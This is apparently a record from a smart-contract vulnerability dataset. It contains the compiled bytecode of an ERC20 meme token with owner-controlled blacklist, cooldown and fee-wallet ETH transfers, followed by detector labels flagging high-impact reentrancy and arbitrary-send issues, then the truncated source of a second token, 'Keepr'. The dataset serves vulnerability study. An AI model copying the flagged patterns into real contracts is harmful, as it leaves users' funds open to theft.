0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e56565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612979565b61045e565b6040516101789190612e3b565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff8565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061292a565b61048e565b6040516101e09190612e3b565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061289c565b610567565b005b34801561021e57600080fd5b50610227610657565b604051610234919061306d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129f6565b610660565b005b34801561027257600080fd5b5061027b610712565b005b34801561028957600080fd5b506102a4600480360381019061029f919061289c565b610784565b6040516102b19190612ff8565b60405180910390f35b3480156102c657600080fd5b506102cf6107d5565b005b3480156102dd57600080fd5b506102e6610928565b6040516102f39190612d6d565b60405180910390f35b34801561030857600080fd5b50610311610951565b60405161031e9190612e56565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612979565b61098e565b60405161035b9190612e3b565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129b5565b6109ac565b005b34801561039957600080fd5b506103a2610afc565b005b3480156103b057600080fd5b506103b9610b76565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a48565b6110d5565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ee565b61121f565b6040516104189190612ff8565b60405180910390f35b60606040518060400160405280601281526020017f466c6f6b69204d697374616b6573456c6f6e0000000000000000000000000000815250905090565b600061047261046b6112a6565b84846112ae565b6001905092915050565b600069d3c21bcecceda1000000905090565b600061049b848484611479565b61055c846104a76112a6565b6105578560405180606001604052806028815260200161373160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d6112a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c389092919063ffffffff16565b6112ae565b600190509392505050565b61056f6112a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f390612f38565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106686112a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec90612f38565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107536112a6565b73ffffffffffffffffffffffffffffffffffffffff161461077357600080fd5b600047905061078181611c9c565b50565b60006107ce600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d08565b9050919050565b6107dd6112a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086190612f38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f20464d4520000000000000000000000000000000000000000000000000000000815250905090565b60006109a261099b6112a6565b8484611479565b6001905092915050565b6109b46112a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890612f38565b60405180910390fd5b60005b8151811015610af8576001600a6000848481518110610a8c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af09061330e565b915050610a44565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3d6112a6565b73ffffffffffffffffffffffffffffffffffffffff1614610b5d57600080fd5b6000610b6830610784565b9050610b7381611d76565b50565b610b7e6112a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0290612f38565b60405180910390fd5b600e60149054906101000a900460ff1615610c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5290612fb8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cec30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006112ae565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3257600080fd5b505afa158015610d46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6a91906128c5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dcc57600080fd5b505afa158015610de0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0491906128c5565b6040518363ffffffff1660e01b8152600401610e21929190612d88565b602060405180830381600087803b158015610e3b57600080fd5b505af1158015610e4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7391906128c5565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efc30610784565b600080610f07610928565b426040518863ffffffff1660e01b8152600401610f2996959493929190612dda565b6060604051808303818588803b158015610f4257600080fd5b505af1158015610f56573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7b9190612a71565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555069152d02c7e14af6800000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107f929190612db1565b602060405180830381600087803b15801561109957600080fd5b505af11580156110ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d19190612a1f565b5050565b6110dd6112a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190612f38565b60405180910390fd5b600081116111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490612ef8565b60405180910390fd5b6111dd60646111cf8369d3c21bcecceda100000061207090919063ffffffff16565b6120eb90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112149190612ff8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131590612f98565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138590612eb8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146c9190612ff8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e090612f78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155090612e78565b60405180910390fd5b6000811161159c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159390612f58565b60405180910390fd5b6115a4610928565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161257506115e2610928565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7557600e60179054906101000a900460ff1615611845573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ee5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184457600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178e6112a6565b73ffffffffffffffffffffffffffffffffffffffff1614806118045750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ec6112a6565b73ffffffffffffffffffffffffffffffffffffffff16145b611843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183a90612fd8565b60405180910390fd5b5b5b600f5481111561185457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f85750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61190157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119ac5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a025750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a1a5750600e60179054906101000a900460ff165b15611abb5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6a57600080fd5b603c42611a77919061312e565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac630610784565b9050600e60159054906101000a900460ff16158015611b335750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b4b5750600e60169054906101000a900460ff165b15611b7357611b5981611d76565b60004790506000811115611b7157611b7047611c9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2657600090505b611c3284848484612135565b50505050565b6000838311158290611c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c779190612e56565b60405180910390fd5b5060008385611c8f919061320f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d04573d6000803e3d6000fd5b5050565b6000600654821115611d4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4690612e98565b60405180910390fd5b6000611d59612162565b9050611d6e81846120eb90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e025781602001602082028036833780820191505090505b5090503081600081518110611e40577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ee257600080fd5b505afa158015611ef6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1a91906128c5565b81600181518110611f54577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fbb30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ae565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201f959493929190613013565b600060405180830381600087803b15801561203957600080fd5b505af115801561204d573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561208357600090506120e5565b6000828461209191906131b5565b90508284826120a09190613184565b146120e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d790612f18565b60405180910390fd5b809150505b92915050565b600061212d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061218d565b905092915050565b80612143576121426121f0565b5b61214e848484612221565b8061215c5761215b6123ec565b5b50505050565b600080600061216f6123fe565b9150915061218681836120eb90919063ffffffff16565b9250505090565b600080831182906121d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cb9190612e56565b60405180910390fd5b50600083856121e39190613184565b9050809150509392505050565b600060085414801561220457506000600954145b1561220e5761221f565b600060088190555060006009819055505b565b60008060008060008061223387612463565b95509550955095509550955061229186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ca90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237281612572565b61237c848361262f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d99190612ff8565b60405180910390a3505050505050505050565b60016008819055506004600981905550565b60008060006006549050600069d3c21bcecceda1000000905061243669d3c21bcecceda10000006006546120eb90919063ffffffff16565b8210156124565760065469d3c21bcecceda100000093509350505061245f565b81819350935050505b9091565b600080600080600080600080600061247f8a6008546005612669565b925092509250600061248f612162565b905060008060006124a28e8787876126ff565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c38565b905092915050565b6000808284612523919061312e565b905083811015612568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255f90612ed8565b60405180910390fd5b8091505092915050565b600061257c612162565b90506000612593828461207090919063ffffffff16565b90506125e781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612644826006546124ca90919063ffffffff16565b60068190555061265f8160075461251490919063ffffffff16565b6007819055505050565b6000806000806126956064612687888a61207090919063ffffffff16565b6120eb90919063ffffffff16565b905060006126bf60646126b1888b61207090919063ffffffff16565b6120eb90919063ffffffff16565b905060006126e8826126da858c6124ca90919063ffffffff16565b6124ca90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612718858961207090919063ffffffff16565b9050600061272f868961207090919063ffffffff16565b90506000612746878961207090919063ffffffff16565b9050600061276f8261276185876124ca90919063ffffffff16565b6124ca90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279b612796846130ad565b613088565b905080838252602082019050828560208602820111156127ba57600080fd5b60005b858110156127ea57816127d088826127f4565b8452602084019350602083019250506001810190506127bd565b5050509392505050565b600081359050612803816136eb565b92915050565b600081519050612818816136eb565b92915050565b600082601f83011261282f57600080fd5b813561283f848260208601612788565b91505092915050565b60008135905061285781613702565b92915050565b60008151905061286c81613702565b92915050565b60008135905061288181613719565b92915050565b60008151905061289681613719565b92915050565b6000602082840312156128ae57600080fd5b60006128bc848285016127f4565b91505092915050565b6000602082840312156128d757600080fd5b60006128e584828501612809565b91505092915050565b6000806040838503121561290157600080fd5b600061290f858286016127f4565b9250506020612920858286016127f4565b9150509250929050565b60008060006060848603121561293f57600080fd5b600061294d868287016127f4565b935050602061295e868287016127f4565b925050604061296f86828701612872565b9150509250925092565b6000806040838503121561298c57600080fd5b600061299a858286016127f4565b92505060206129ab85828601612872565b9150509250929050565b6000602082840312156129c757600080fd5b600082013567ffffffffffffffff8111156129e157600080fd5b6129ed8482850161281e565b91505092915050565b600060208284031215612a0857600080fd5b6000612a1684828501612848565b91505092915050565b600060208284031215612a3157600080fd5b6000612a3f8482850161285d565b91505092915050565b600060208284031215612a5a57600080fd5b6000612a6884828501612872565b91505092915050565b600080600060608486031215612a8657600080fd5b6000612a9486828701612887565b9350506020612aa586828701612887565b9250506040612ab686828701612887565b9150509250925092565b6000612acc8383612ad8565b60208301905092915050565b612ae181613243565b82525050565b612af081613243565b82525050565b6000612b01826130e9565b612b0b818561310c565b9350612b16836130d9565b8060005b83811015612b47578151612b2e8882612ac0565b9750612b39836130ff565b925050600181019050612b1a565b5085935050505092915050565b612b5d81613255565b82525050565b612b6c81613298565b82525050565b6000612b7d826130f4565b612b87818561311d565b9350612b978185602086016132aa565b612ba0816133e4565b840191505092915050565b6000612bb860238361311d565b9150612bc3826133f5565b604082019050919050565b6000612bdb602a8361311d565b9150612be682613444565b604082019050919050565b6000612bfe60228361311d565b9150612c0982613493565b604082019050919050565b6000612c21601b8361311d565b9150612c2c826134e2565b602082019050919050565b6000612c44601d8361311d565b9150612c4f8261350b565b602082019050919050565b6000612c6760218361311d565b9150612c7282613534565b604082019050919050565b6000612c8a60208361311d565b9150612c9582613583565b602082019050919050565b6000612cad60298361311d565b9150612cb8826135ac565b604082019050919050565b6000612cd060258361311d565b9150612cdb826135fb565b604082019050919050565b6000612cf360248361311d565b9150612cfe8261364a565b604082019050919050565b6000612d1660178361311d565b9150612d2182613699565b602082019050919050565b6000612d3960118361311d565b9150612d44826136c2565b602082019050919050565b612d5881613281565b82525050565b612d678161328b565b82525050565b6000602082019050612d826000830184612ae7565b92915050565b6000604082019050612d9d6000830185612ae7565b612daa6020830184612ae7565b9392505050565b6000604082019050612dc66000830185612ae7565b612dd36020830184612d4f565b9392505050565b600060c082019050612def6000830189612ae7565b612dfc6020830188612d4f565b612e096040830187612b63565b612e166060830186612b63565b612e236080830185612ae7565b612e3060a0830184612d4f565b979650505050505050565b6000602082019050612e506000830184612b54565b92915050565b60006020820190508181036000830152612e708184612b72565b905092915050565b60006020820190508181036000830152612e9181612bab565b9050919050565b60006020820190508181036000830152612eb181612bce565b9050919050565b60006020820190508181036000830152612ed181612bf1565b9050919050565b60006020820190508181036000830152612ef181612c14565b9050919050565b60006020820190508181036000830152612f1181612c37565b9050919050565b60006020820190508181036000830152612f3181612c5a565b9050919050565b60006020820190508181036000830152612f5181612c7d565b9050919050565b60006020820190508181036000830152612f7181612ca0565b9050919050565b60006020820190508181036000830152612f9181612cc3565b9050919050565b60006020820190508181036000830152612fb181612ce6565b9050919050565b60006020820190508181036000830152612fd181612d09565b9050919050565b60006020820190508181036000830152612ff181612d2c565b9050919050565b600060208201905061300d6000830184612d4f565b92915050565b600060a0820190506130286000830188612d4f565b6130356020830187612b63565b81810360408301526130478186612af6565b90506130566060830185612ae7565b6130636080830184612d4f565b9695505050505050565b60006020820190506130826000830184612d5e565b92915050565b60006130926130a3565b905061309e82826132dd565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c8576130c76133b5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313982613281565b915061314483613281565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317957613178613357565b5b828201905092915050565b600061318f82613281565b915061319a83613281565b9250826131aa576131a9613386565b5b828204905092915050565b60006131c082613281565b91506131cb83613281565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320457613203613357565b5b828202905092915050565b600061321a82613281565b915061322583613281565b92508282101561323857613237613357565b5b828203905092915050565b600061324e82613261565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132a382613281565b9050919050565b60005b838110156132c85780820151818401526020810190506132ad565b838111156132d7576000848401525b50505050565b6132e6826133e4565b810181811067ffffffffffffffff82111715613305576133046133b5565b5b80604052505050565b600061331982613281565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334c5761334b613357565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136f481613243565b81146136ff57600080fd5b50565b61370b81613255565b811461371657600080fd5b50565b61372281613281565b811461372d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122073aa534540a6d7e10736d51e97e4aba9197d73c0e3b7ba29c1bba27fafbfa8fd64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,383 |
0xff89cf60cee86cb5ac611faaaf8e7ebbc054fe54
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Keepr is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name = "$Keepr";
string private _symbol = "$KPR";
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(uint256 supply_, address destination) {
_mint(destination, supply_);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
